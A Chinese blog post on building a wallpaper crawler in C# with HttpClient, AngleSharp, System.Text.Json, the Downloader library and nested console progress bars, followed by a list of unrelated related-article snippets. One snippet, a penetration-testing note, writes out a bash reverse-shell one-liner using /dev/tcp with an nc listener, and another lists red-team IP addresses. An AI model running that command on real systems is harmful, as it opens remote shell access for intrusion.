C#爬虫开发小结

前言

2023年以来一直很忙,临近春节,各种琐事更多,但鸽了太久没写文章总是不舒坦,忙中偷闲来记录下最近用C#写爬虫的一些笔记。

爬虫一般都是用Python来写,生态丰富,动态语言开发速度快,调试也很方便

但是

我要说但是,动态语言也有其局限性,笔者作为老爬虫带师,几乎各种语言都搞过,现在这个任务并不复杂,用我最喜欢的C#做小菜一碟~

开始

之前做 OneCat 项目的时候,最开始的数据采集模块,就是用 C# 做的,同时还集成了 Chloe 作为 ORM,用 Nancy 做 HTTP 接口,结合 C# 强大的并发功能,做出来的效果不错。

这次是要爬一些壁纸,很简单的场景,于是沿用了之前 OneCat 项目的一些工具类,并且做了一些改进。

HttpHelper

网络请求直接使用 .Net Core 标准库的 HttpClient,这个库要求使用单例,在 AspNetCore 里一般用依赖注入,不过这次简单的爬虫直接用 Console 程序就行。

把 HTML 爬下来后,还需要解析,在Python中一般用 BeautifulSoup,在C#里可以用 AngleSharp ,也很好用~

为了使用方便,我又封装了一个工具类,把 HttpClient 和 AngleSharp 集成在一起。

public static class HttpHelper {
    public const string UserAgent =
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";

    public static HttpClientHandler Handler { get; }

    public static HttpClient Client { get; }

    static HttpHelper() {
        Handler = new HttpClientHandler();
        Client = new HttpClient(Handler);
        Client.DefaultRequestHeaders.Add("User-Agent", UserAgent);
    }

    public static async Task<IHtmlDocument> GetHtmlDocument(string url) {
        var html = await Client.GetStringAsync(url);
        // todo 这个用法有内存泄漏问题,得优化一下
        return new HtmlParser().ParseDocument(html);
    }

    public static async Task<IHtmlDocument> GetHtmlDocument(string url, string charset) {
        var res = await Client.GetAsync(url);
        var resBytes = await res.Content.ReadAsByteArrayAsync();
        var resStr = Encoding.GetEncoding(charset).GetString(resBytes);
        // todo 这个用法有内存泄漏问题,得优化一下
        return new HtmlParser().ParseDocument(resStr);
    }
}

这段代码里面有俩 todo ,这个内存泄漏的问题在简单的爬虫中影响不大,所以后面有大规模的需求再来优化吧~

搞HTML

大部分爬虫是从网页上拿数据

如果网页是后端渲染出来的话,没有js动态加载数据,基本上用CSS选择器+正则表达式就可以拿到任何想要的数据。

经过前面的封装,请求网页+解析HTML只需要一行代码

IHtmlDocument data = await HttpHelper.GetHtmlDocument(url);

拿到 IHtmlDocument 对象之后,用 QuerySelector 传入css选择器,就可以拿到各种元素了。

例如这样,取出 <li> 元素下所有链接的地址

var data = await HttpHelper.GetHtmlDocument(url);
foreach (var item in data.QuerySelectorAll(".pagew li")) {
    var link = item.QuerySelector("a");
    var href = link?.GetAttribute("href");
    if (href != null) await CrawlItem(href);
}

或者结合正则表达式

var data = await HttpHelper.GetHtmlDocument(url);
var page = data.QuerySelector(".pageinfo");
Console.WriteLine("拿到分页信息:{0}", page?.TextContent);
var match = Regex.Match(page?.TextContent ?? "", @"共\s(\d+)页(\d+)条");
var pageCount = int.Parse(match.Groups[1].Value);
for (int i = 1; i <= pageCount; i++) {
    await CrawlPage(i);
}

正则表达式非常好用,爬虫必备~

这里再推荐一个好用的东西,菜鸟工具的在线正则表达式测试,拿到一个字符串之后,先在测试器里面写出一个能匹配的正则,再放到程序里,效率更高~

地址: http://c.runoob.com/front-end/854/

JSON 处理

老生常谈的问题了

JSON 在 web 开发中很常见,无论是接口交互,还是本地保存数据,这都是一种很好的格式

.Net Core 自带的 System.Text.Json 还不错,不需要手动安装依赖,没有特殊需求的话,直接用这个就好了

这里的场景是要把采集的数据存到 JSON 里,即序列化,用以下的配置代码一把梭即可,可以应付大多数场景

var jsonOption = new JsonSerializerOptions {
    WriteIndented = true,
    Encoder = JavaScriptEncoder.UnsafeRelaxedJsonEscaping
};

写入文件

await File.WriteAllTextAsync("path", JsonSerializer.Serialize(data, jsonOption));

扩展阅读

  • 使用.Net6中的System.Text.Json遇到几个常见问题及解决方案
  • Asp-Net-Core开发笔记:接口返回json对象出现套娃递归问题

下载文件

最简单就是直接用 HttpClient 获取 Response,然后 CopyToAsync 写到文件流里面

这个用法拿来下载几个小文件还可以,但多线程下载、断点重连、失败重试等方法就得自己实现了,比较繁琐。

所以这次我直接用了第三方库 Downloader,这个库看起来很猛,功能很多,我就不翻译了,详情见项目主页

项目地址: http://github.com/bezzad/Downloader

同样的,我把下载的功能也封装到 HttpHelper

增加这部分代码

public static IDownloadService Downloader { get; }

public static DownloadConfiguration DownloadConf => new DownloadConfiguration {
    BufferBlockSize = 10240, // 通常,主机最大支持8000字节,默认值为8000。
    ChunkCount = 8, // 要下载的文件分片数量,默认值为1
    // MaximumBytesPerSecond = 1024 * 50, // 下载速度限制,默认值为零或无限制
    MaxTryAgainOnFailover = 5, // 失败的最大次数
    ParallelDownload = true, // 下载文件是否为并行的。默认值为false
    Timeout = 1000, // 每个 stream reader  的超时(毫秒),默认值是1000
    RequestConfiguration = {
        Accept = "*/*",
        AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate,
        CookieContainer = new CookieContainer(), // Add your cookies
        Headers = new WebHeaderCollection(), // Add your custom headers
        KeepAlive = true,
        ProtocolVersion = HttpVersion.Version11, // Default value is HTTP 1.1
        UseDefaultCredentials = false,
        UserAgent = UserAgent
    }
};

static HttpHelper() {
    // ...
    Downloader = new DownloadService(DownloadConf);
}

使用方法依然是一行代码

await HttpHelper.Downloader.DownloadFileTaskAsync(url, filepath);

不过这次没有直接封装一个下载的方法,而是把 IDownloadService 对象做成属性,因为下载的时候往往要加一些“buff”

比如监听下载进度,看下面的代码

HttpHelper.Downloader.DownloadStarted += DownloadStarted;
HttpHelper.Downloader.DownloadFileCompleted += DownloadFileCompleted;
HttpHelper.Downloader.DownloadProgressChanged += DownloadProgressChanged;
HttpHelper.Downloader.ChunkDownloadProgressChanged += ChunkDownloadProgressChanged;

这个库提供了四个事件,分别是:

  • 下载开始
  • 下载完成
  • 下载进度变化
  • 分块下载进度变化

进度条

有了这些事件,就可以实现下载进度条展示了,接下来介绍的进度条,也是 Downloader 这个库官方例子中使用的

项目地址: http://github.com/Mpdreamz/shellprogressbar

首先,把官网上的例子忘记吧,那几个例子实际作用不大。

Tick模式

这个进度条有两种模式,一种是它自己的 Tick 方法,先定义总任务数量,执行一次表示完成一个任务,比如这个:

using var bar = new ProgressBar(10, "正在下载所有图片", BarOptions);

上面代码定义了10个任务,每执行一次 bar.Tick() 就表示完成一次任务,执行10次后就整个完成~

IProgress<T> 模式

这个 IProgress<T> 是C#标准库的类型,用来处理进度条的。

ProgressBar 对象可以使用 AsProgress<T> 方法转换称 IProgress<T> 对象,然后调用 IProgress<T>Report 方法,报告进度。

这个就很适合下载进度这种非线性的任务,每次更新时,完成的进度都不一样

Downloader的下载进度更新事件,用的是百分比,所以用这个 IProgress<T> 模式就很合适。

进度条嵌套

本爬虫项目是要采集壁纸,壁纸的形式是按图集组织的,一个图集下可能有多个图片

为了应对这种场景,可以用一个进度条显示总进度,表示当前正在下载某个图集

然后再嵌套子进度条,表示正在下载当前图集的第n张图片

然后的然后,再套娃一个孙子进度条,表示具体图片的下载进度(百分比)

这里用到的是 ProgressBarSpawn 方法,会生成一个 ChildProgressBar 对象,此时更新子进度条对象的值就好了。

直接看代码吧

var list = // 加载图集列表
using var bar = new ProgressBar(list.Count, "正在下载所有图片", BarOptions);

foreach (var item in list) {
    bar.Message = $"图集:{item.Name}";
    bar.Tick();

    foreach (var imgUrl in item.Images) {
        using (var childBar = bar.Spawn(item.ImageCount,$"图片:{imgUrl}",ChildBarOptions)) {
            childBar.Tick();
            // 具体的下载代码
        }
    }
}

这样就实现了主进度条显示下载了第几个图集,子进度条显示下载到第几张图片。

然后具体下载代码中,使用 Downloader 的事件监听,再 Spawn 一个新的进度条显示单张图片的下载进度。

代码如下:

private async Task Download(IProgressBar bar, string url, string filepath) {
    var percentageBar = bar.Spawn(100, $"正在下载:{Path.GetFileName(url)}", PercentageBarOptions);

    HttpHelper.Downloader.DownloadStarted += DownloadStarted;
    HttpHelper.Downloader.DownloadFileCompleted += DownloadFileCompleted;
    HttpHelper.Downloader.DownloadProgressChanged += DownloadProgressChanged;

    await HttpHelper.Downloader.DownloadFileTaskAsync(url, filepath);

    void DownloadStarted(object? sender, DownloadStartedEventArgs e) {
        Trace.WriteLine(
            $"图片, FileName:{Path.GetFileName(e.FileName)}, TotalBytesToReceive:{e.TotalBytesToReceive}");
    }

    void DownloadFileCompleted(object? sender, AsyncCompletedEventArgs e) {
        Trace.WriteLine($"下载完成, filepath:{filepath}");
        percentageBar.Dispose();
    }

    void DownloadProgressChanged(object? sender, DownloadProgressChangedEventArgs e) {
        percentageBar.AsProgress<double>().Report(e.ProgressPercentage);
    }
}

注意所有的 ProgressBar 对象都需要用完释放,所以这里在 DownloadFileCompleted 事件里面 Dispose 了。

上面的是直接用 using 语句,自动释放。

进度条配置

这个东西的自定义功能还不错。

可以配置颜色、显示字符、显示位置啥的

var barOptions = new ProgressBarOptions {
    ForegroundColor = ConsoleColor.Yellow,
    BackgroundColor = ConsoleColor.DarkYellow,
    ForegroundColorError = ConsoleColor.Red,
    ForegroundColorDone = ConsoleColor.Green,
    BackgroundCharacter = '\u2593',
    ProgressBarOnBottom = true,
    EnableTaskBarProgress = RuntimeInformation.IsOSPlatform(OSPlatform.Windows),
    DisplayTimeInRealTime = false,
    ShowEstimatedDuration = false
};

EnableTaskBarProgress 这个选项可以同时更新Windows任务状态栏上的进度

具体配置选项可以直接看源码,里面注释很详细。

如果 Spawn 出来的子进度条没配置选项,那就会继承上一级的配置。

小结

用 C# 来做爬虫还是舒服的,至少比 Java 好很多

做控制台应用,打包成exe也方便分发

除了本文提到的这些第三方库,使用C#开发控制台应用还有其他好用的玩法

比如下面这俩

  • http://github.com/gui-cs/Terminal.Gui
  • http://github.com/Tyrrrz/CliFx

做图形界面的话,如果要跨平台,Winform、WPF之类的就不考虑了

微软的MAUI好像有点坑,且没有官方Linux支持,也pass掉

比较成熟的可以选 avalonia

轻量级的可以试试: http://github.com/picoe/Eto

另外,推荐一个工具 RoslynPad,这个好像是模仿 LinqPad 的。

可以像Python写脚本一样快速执行C#代码段,还支持引入nuget包,对于写爬虫或者简单代码实验,非常方便

最关键的是开源免费!LinqPad实在太贵了,RoslynPad现在越更新越好用,感觉慢慢可以赶上 LinqPad 了~

PS:新年的公众号红包封面还没搞,争取今晚搞定~

微信公众号:「程序设计实验室」 专注于互联网热门新技术探索与团队敏捷开发实践,包括架构设计、机器学习与数据分析算法、移动端开发、Linux、Web前后端开发等,欢迎一起探讨技术,分享学习实践经验。
本文转载于网络 如有侵权请联系删除

相关文章

  • 2021年4月11日 HW情报快讯

    截止到2021年4月11日20点0分,cnvd新收录高危漏洞9个,详情如下:01漏洞信息汇总网络中再度爆出高威胁漏洞5个,漏洞信息如下:1、某帆OA系统远程命令执行漏洞2、某远OA系统fastjson反序列化漏洞3、某微OA系统emobile6.6SQL注入漏洞4、某安信NS-NGFW网康防火墙前台RCE5、某达OA低权限文件上传+目录穿越02威胁情报1、威胁情报信息收集2600余条,部分情况如下(详情请见附件):红队IP:36.32.3.116112.117.113.39111.162.145.3636.5.197.21223.233.237.7392.118.160.25175.9.44.16058.19.216.5258.253.182.5489.252.131.18218.206.249.133119.52.194.164139.214.87.158222.178.134.7245.146.165.16545.148.10.4545.155.205.15145.155.205.211116.85.44.231124.64.18.205125.111.7.14148.81.111

  • CentOS中WordPress博客系统安装之LNMP安装(一)

    介绍WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。WordPress具有插件架构和模板系统。截至2018年4月,排名前1000万的网站中超过30.6%使用WordPress。WordPress是最受欢迎的网站内容管理系统。全球有大约30%的网站都是使用WordPress架设网站的。 LNMP一组开源软件简称,它们通常安装在一起以使服务器能够托管动态网站和Web应用程序。这个j简写实际上是一个首字母缩写词,它代表Linux操作系统,带有NginxWeb服务器(它取代了LAMP堆栈的Apache组件),站点数据存储在基于mysql的数据库中,动态内容由PHP处理。前提条件你应该在服务器上设置一个单独的非root用户帐户。第1步-安装Nginx要添加CentOS7EPEL存储库,请运行以下命令:>yuminstallepel-release复制现在EPEL存储库已安装在你的服务器上,请使用以下yum命令安装Nginx:>yuminstallnginx复制安装完成后,使用以下命令启动Nginx服务:>systemctlstartngin

  • 反弹Shell

    大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。今天再告诉大家几种方法环境说明:check1:192.168.233.10C62.6.32-696.30.1.el6.x86_64本地 check2:192.168.233.20C73.10.0-862.3.3.el7.x86_64远程复制BASH:首先要在本地配置好nc工具,配置方法之前的文章有在本地使用nc监听一个端口:[root@wcy~]#nc-lvv6699复制在远程机器上操作:[root@localhost~]#bash-i>&/dev/tcp/192.168.233.10/66990>&1复制本地可以看到远程机器的shell已经返回到本地上面[root@wcy~]#nc-lvv6699 Connectionfrom192.168.233.20port6699[tcp/*]accepted [root@localhost~]#ipa ipa 1:lo:<LOO

  • TF实战丨使用Vagrant安装Tungsten Fabric

    本文为苏宁网络架构师陈刚的原创文章。1.准备测试机在16G的笔记本没跑起来,就干脆拼凑了一台游戏工作室级别的机器:双路E5-2860v3CPU,24核48线程,128GDDR4ECC内存,NVME盘512G。在上面开5个VM,假装是物理服务器。·192.16.35.110deployer·192.16.35.111tf控制器·192.16.35.112openstack服务器,同时也是计算节点·192.16.35.113k8smaster·192.16.35.114k8s的Nodek01,同时也是ops的计算节点直接使用vagrant拉镜像会很慢,就先下载下来:https://cloud.centos.org/centos/7/vagrant/x86_64/images/下载对应的VirtualBox.box文件。然后使用命令,命名为vagrant的box:vagrantboxaddcentos/7CentOS-7-x86_64-Vagrant-2004_01.VirtualBox.boxcat<<EEOOFF>vagrantfile ###start #-*-mod

  • Redis开发与运维学习笔记---(16)

    //Redis开发与运维学习笔记---(16)//RedisSentinel的几个重要参数第15篇文章中我们讲述了sentine的基本搭建办法,今天我们来说说,sentinel的几个重要参数。1、sentinelmonitor用法:sentinelmonitormaster-nameipportquorum复制其中,master-name是主节点的名称,ip,port不用解释,是主节点的地址信息。最后的quorum是判断主节点最终不可达所需要的票数。这个值越大,判断越可信,这个值越小,判断越不可信,一般这个数字取的是sentinel节点数目的一半+1.同时,该值还与sentinel节点的领导者选举有关,至少要有max(quorum,num(sentinel)/2+1)个节点参与选举,才能选出领导者sentinel,从而完成故障转换。例如有5个sentinel节点,quorum设置为4,那么num(sentinel)/2+1=3,max函数返回4,最少要有4个节点才可以进行领导者选举。2、sentineldown-after-milliseconds用法如下:sentineldown-a

  • 邹溪源: 我们为什么要搞长沙.NET技术社区(二-1)

    灯下黑某种意义上讲,长沙和中国大部分内地城市一样,都是互联网时代的灯下黑。没有真正意义上的互联网公司,例如最近发布的中国互联网企业一百强中没有一家湖南或者长沙的公司就是明证。然而长沙并非没有互联网人,在麓谷几十万计的IT从业人员就是明证。即便如此,长沙依然是一个互联网氛围很不好的城市。表面上看互联网氛围是一个不可度量的东西,有人说他不过是许多公司的所说的企业文化一般,都是看不见,摸不着,大概只存在于老板的PPT和公司吹过的牛逼里面。但是在互联网思维飞速发展的今天,他实际上已经深深的影响了我们的方方面面,尤其是对于IT领域来说,更是如此。近多少年来,但凡是优秀的互联网公司,都以封闭为耻,充分的利用开源社区营造的众多基础设施,为企业的飞速发展插上了无穷想象力,在企业获得成功之后,再通过同样的开源的形式,将技术回馈社区,影响了许多同样需要基础设施的其他企业,如此周而往复,形成了一个又一个完善的闭环。除此之外,这些公司也会定期的组织技术分享,让开发者积极的了解技术的同时,也加深了许多对目标企业的好感。因此,做开源和做社区,实际上对开发者社区和企业来说是互利互惠的好事。突围与北上广深杭相比,长沙

  • Django中的url与视图详解(3)

    Django中的url与视图详解(3)可能你学习到这里,感觉好乱,所将的知识点没有一丝的关联,这个是没有办法的,Django与Flask有所不同的,Django是结构化的,每个模块都有知识点,我们只有先了解、学会了才能在后面的项目中游刃有余,坚持,话不多说,请看见天的操作。reverse函数(反转):如果在反转url的时候,需要添加参数,那么可以传递kwargs参数到revers函数中。示例代码如下:detail_url=reverse('detail',kwargs={"article_id":1,'page':2})复制如果想要添加查询字符串的参数,则必须手动的进行拼接。示例代码如下:login_url=reverse('login')+"?next=/"复制自定义URL转换器:在前面如果认真看的话,我粗略的讲过URL转换器的参数,包括int、uuid等,现在我们来盘它了。有时候内置的URL转换器不能实现我们的需求,因此,Django很人性化的给我们一个接口让我们自己定义URL转换器

  • EXCEL取消合并且等于原合并值

    方法一:选中有合并单元格的区域,例如:B4:B69,取消合并,然后在选中状态下\编辑\定位\定位条件\空值,确定后会在B5出现反白,输入等号后点B4,按住CTRL键回车.方法二: Sub取消合并且等于原合并值() IfSelection.Count=1ThenMsgBox"请选择合并单元格再执行本工具!",64,"友情提示":ExitSub Application.ScreenUpdating=False OnErrorGoToerr DimRNGAsRange,val,CELLAsString ForEachRNGInApplication.Intersect(Selection,ActiveSheet.UsedRange) IfRNG.MergeCellsThen CELL=RNG.MergeArea.Address val=RNG.Value RNG.UnMerge Range(CELL).Value=val EndIf Next Application.ScreenUpdating=True ExitSub err: MsgBox&qu

  • 0458-Hive数据类型校验问题分析

    温馨提示:如果使用电脑查看图片不清晰,可以使用手机打开文章单击文中的图片放大查看高清原图。Fayson的github: https://github.com/fayson/cdhproject提示:代码块部分可以左右滑动查看噢1文章编写目的使用Hive时大家都会遇到数据类型校验的问题,相比传统关系型数据库会严格要求数据的Schema,数据的列数、每一列的字段类型都有严格的规定,因此数据的存储必须按照定义的Schema格式来存储。而Hive数据库对数据格式及具体的内容并不关心,只有在数据被读出时才会与定义的Schema进行转换。那这个时候就会出现数据类型转换的问题,本篇文章Fayson主要分析下如何查找表中类型转换错误的数据以及Hive对空值和NULL的处理。测试环境1.RedHat7.22.CM和CDH版本为5.15.02测试数据准备1.建表语句如下:createtabletest_null(idint,agestring) ROWFORMATDELIMITED FIELDSTERMINATEDBY',' LINESTERMINATEDBY'\n'

  • 视角 | 全球AI顶会研究人员的男女比例是7:1,最高和最低的地方居然是…

    图片来源:www.stadiumdesignsummit.com所有者:XperiologyAI科技评论按:本文的作者是来自于ElementAI实验室的YoanMantha,通过本文Mantha探索了当前主流AI顶会中研究员的性别比例,并以此引出了研究领域中存在的缺乏多样性的问题。AI科技评论根据原文进行了编译。业内人士或者是那些常去参加知名人工智能会议的人士都已经意识到了性别不平衡的问题,而我们认为当前需要通过更加严谨的研究来推进这种性别对话以及加速该不平衡现象的纠正进程。作为2月份在jfgagne.ai上发布《全球AI人才库报告》的后续行动,我们与WIRED进行了合作,WIRED也是一家致力于深入研究AI专家人才库多样性状况的机构。这篇文章是我们与来自WIRED的TomSimonite的合作产出,本文将通过在原始报告数据的基础上添加性别和国家的维度来进行更深入的探究。在该研究中,我们将研究范围集中于已经在顶会上(诸如NIPS、ICML或ICLR)发表过研究工作的4000名学者们(如果想了解我们的策略,请继续阅读本文的第二部分)。下图展示了我们的对性别比例的研究结果:AI科技评论注:

  • 2017年值得关注数据中心趋势预测

    2017年,在云服务和数据中心业界将会发生什么样的变化?在本文中,我们专程就该话题采访了业内专家LarsStrong、IanSeaton、BruceTaylor和VinceRenaud,如下是这些专家们的预测观点:虽然当前数据中心的PUE值已然获得了很好的改善,但其实在这方面仍然有相当大的可改进空间。好消息是,数据中心行业为提高效率所做的努力正在持续,这对于企业自身和环境都是有好处的。几年前,企业数据中心都试图遵循谷歌、微软、雅虎、Facebook等冷却效率创新者的领先优势。虽然我们已经看到一些设计概念已经渗透到了规模较小的企业组织,但对于小型企业组织而言,想要实现非常低的PUE值的设计还是相当困难的。大型托管和云服务基础设施的市场份额的不断增长对数据中心行业的能源消耗产生了积极影响。托管服务和云服务所具备的竞争的本质属性要求数据的构建必须使用高效的冷却基础设施。随着IT工作负载从较小的低效设施迁移到云服务,他们通常能够得到更高效的基础设施的支持。我所看到的一大趋势是:大型企业组织将继续经营他们自己的数据中心,以尽可能采取相应措施减少其数据中心站点的PUE值。虽然关于提高效率和降低运营

  • 几种简单的文本数据预处理方法

    下载数据: http://www.gutenberg.org/cache/epub/5200/pg5200.txt将开头和结尾的一些信息去掉,使得开头如下:Onemorning,whenGregorSamsawokefromtroubleddreams,hefoundhimselftransformedinhisbedintoahorriblevermin.结尾如下:And,asifinconfirmationoftheirnewdreamsandgoodintentions,assoonastheyreachedtheirdestinationGretewasthefirsttogetupandstretchoutheryoungbody.保存为:metamorphosis_clean.txt加载数据:filename='metamorphosis_clean.txt' file=open(filename,'rt') text=file.read() file.close()复制1.用空格分隔:words=text.split() print

  • socket读写返回值的处理

    在调用socket读写函数read(),write()时,都会有返回值。如果没有正确处理返回值,就可能引入一些问题总结了以下几点1当read()或者write()函数返回值大于0时,表示实际从缓冲区读取或者写入的字节数目2当read()函数返回值为0时,表示对端已经关闭了socket,这时候也要关闭这个socket,否则会导致socket泄露。netstat命令查看下,如果有closewait状态的socket,就是socket泄露了当write()函数返回0时,表示当前写缓冲区已满,是正常情况,下次再来写就行了。3当read()或者write()返回-1时,一般要判断errno如果errno== EINTR,表示系统当前中断了,直接忽略如果errno==EAGAIN或者EWOULDBLOCK,非阻塞socket直接忽略;如果是阻塞的socket,一般是读写操作超时了,还未返回。这个超时是指socket的SO_RCVTIMEO与SO_SNDTIMEO两个属性。所以在使用阻塞socket时,不要将超时时间设置的过小。不然返回了-1,你也不知道是socket连接是真的断开了,还是正常的网络

  • RedFlag Linux 5.0桌面版安装oralce10[通俗易懂]

    大家好,又见面了,我是你们的朋友全栈君。 本文中描述的步骤可能有些不是必须的,但笔者没有进一步验证,故将安装过程中的所有步骤均列出在此。—www.bianceng.cn1.安装RedflagLinux5.0桌面版2.安装前得准备,打几个补丁1).redhatlinux9下第一张光盘下的RedHat/RPMS/compat-libstdc++-7.3-2.96.118.i386.rpm(安装方法rpm-ivh***)2).oracle9i204下的linux补丁P3006854(这是在安装racle9i时用的,但由于oracle9i安装后的JRE有很多问题所以重新安装了Oracle10g)shrhel3_pre_install.sh3).oracle10.1.0.3光盘下得RPMS/asmlib/RHEL2.1下得oracleasm-support-1.0.2-1.i386.rpm(安装方法rpm-ivh***)oracleasmlib-1.0.0-1.i386.rpm3.模拟RedHatAs2.1许可,在/etc下创建文件redhat-release输入:RedHatEnterpris

  • 腾讯云计费相关获取按项目汇总消耗详情api接口

    1.接口描述接口请求域名:billing.tencentcloudapi.com。 获取按项目汇总消耗详情 默认接口请求频率限制:20次/秒。 APIExplorer提供了在线调用、签名验证、SDK代码生成和快速检索接口等能力。您可查看每次调用的请求内容和返回结果以及自动生成SDK调用示例。 2.输入参数以下请求参数列表仅列出了接口请求参数和部分公共参数,完整公共参数列表见公共请求参数。 参数名称 必选 类型 描述 Action 是 String 公共参数,本接口取值:DescribeCostSummaryByProject。 Version 是 String 公共参数,本接口取值:2018-07-09。 Region 否 String 公共参数,本接口不需要传递此参数。 BeginTime 是 String 目前必须和EndTime相同月份,不支持跨月查询,且查询结果是整月数据,例如BeginTime为2018-09,EndTime为2018-09,查询结果是2018年9月数据。 EndTime 是 String 目前必须和BeginT

  • 二十四.面向对象(约束)

    一.约束 1.什么是接口以及作用 接口是一种数据类型主要是用于约束派生类中必须实现指定的方法而在python1中不存在java和c#中是存中的 2.python中使用过什么方法来约束的呢 抽象类+抽象方法来约束编写上比较麻烦 人为主动抛出异常 3.约束时抛出异常是否可以用于其他的 不专业raiseException(".send()方法必须重写") 专业raiseNotImplementedError("send()必须重写") print("****************************************************************************") #约束方式一人为主动抛出异常 #应用场景内部必须有某些方法时需要用基类+异常进行约束 classPer(object):#Per这个类主要用于约束 defsends(self,x):#如果这里有参数下面方法重写时也必须带参数 """ 必须继承Per然后其中必须编写sends()方法用于完成具体逻辑代码 """ raiseNotImplementedError("必须重写

  • 一个请求的生命周期

    1.一个简单的请求:                                       图1                                                                   图2   1)田大林在浏览器里输入baidu.com,浏览器会自动加上协议头,变成https://www.baidu.com/,baidu.com属于域名,代表你要访问的服务,http属于协议、标准,解析的规范。   2)域名通过DNS(DomainNameSystem)域名解析服务器,置换成一个具体的ip地址,然后再去请求具体的服务器。      运营商那里有很多服务器,每个服务器分配了一个ip地址,类似于一个地点的经纬度。所以,如果你想申请一个域名,需要去运营商那里申请。他们把你的域名和一个具体服务器绑定,然后你的域名才能使用。域名的好处是方便记忆。  

  • C语言实现一个hello/hi的简单聊天程序并跟踪分析到系统调用

    socket编程介绍 Socket接口是TCP/IP网络的API,Socket接口定义了许多函数或例程,可以用它们来开发TCP/IP网络上的应用程序。 Socket接口设计者最先是将接口放在Unix操作系统里面的。如果了解Unix系统的输入和输出的话,就很容易了解Socket了。网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。 常用的Socket类型有两种:流式Socket(SOCK_STREAM)和数据报式Socket(SOCK_DGRAM)。流式是一种面向连接的Socket,针对于面向连接的TCP服务应用;数据报式Socket是一种无连接的Socket,对应于无连接的UDP服务应用。 client/server通信模型 在客户/服务器模式中我们将请求服务的一方称为客户(client),将提供某种服务的一方称为服务器(server)。 一个服务程序通常在一个众所周知的地址监听对服务的请求,也就

  • windows下安装redis并设置自启动

    windows下安装redis并设置自启动   一、下载windows版本的Redis 去官网找了很久,发现原来在官网上可以下载的windows版本的,现在官网以及没有下载地址,只能在github上下载,官网只提供linux版本的下载 官网下载地址:http://redis.io/download github下载地址:https://github.com/MSOpenTech/redis/tags 二、安装Redis 1.这里下载的是Redis-x64-3.2.100版本,我的电脑是win764位,所以下载64位版本的,在运行中输入cmd,然后把目录指向解压的Redis目录。 2、启动命令 redis-serverredis.windows.conf,出现下图显示表示启动成功了。   三、设置Redis服务 1、由于上面虽然启动了redis,但是只要一关闭cmd窗口,redis就会消失。所以要把redis设置成windows下的服务。 也就是设置到这里,首先发现是没用这个Redis服务的。 2、设置服务命令 redis-server--service-i

  • Windows环境下面搭建Object C开发环境[转]

      1、安装编译器    Objective-C的编译器有很多,其中LLVM属于从GCC发展出来的,主要使用在苹果的平台中,GNU可以使用GnuStep,网址是http://wwwmain.gnustep.org/,从这里可以下载Windows版本的gcc编译器,配合codeblocks可以编译调试objectc程序。    进入下载页面,下载上面3个软件包,安装,例如安装到D:\GNUstep, 2、安装CodeBlocksIDE环境 下载地址:http://www.codeblocks.org/ 3、配置编译器 安装好codeblocks之后,进入Settings->Compileranddebugger...,选择GNUGCCCompiler编译器,复制重新命名为“GNUstepMinGWCompiler“配置     编译其他选项录入:-fconstant-string-class=NSConstantString-std=c99 同时指定搜索目录:》编译器的搜

  • [python]python三元表达式另类实现方式

    (1)variable=aifexperelseb (2)variable=(experand[b]or[c])[0] (2)variable=experandborc复制  

相关推荐

推荐阅读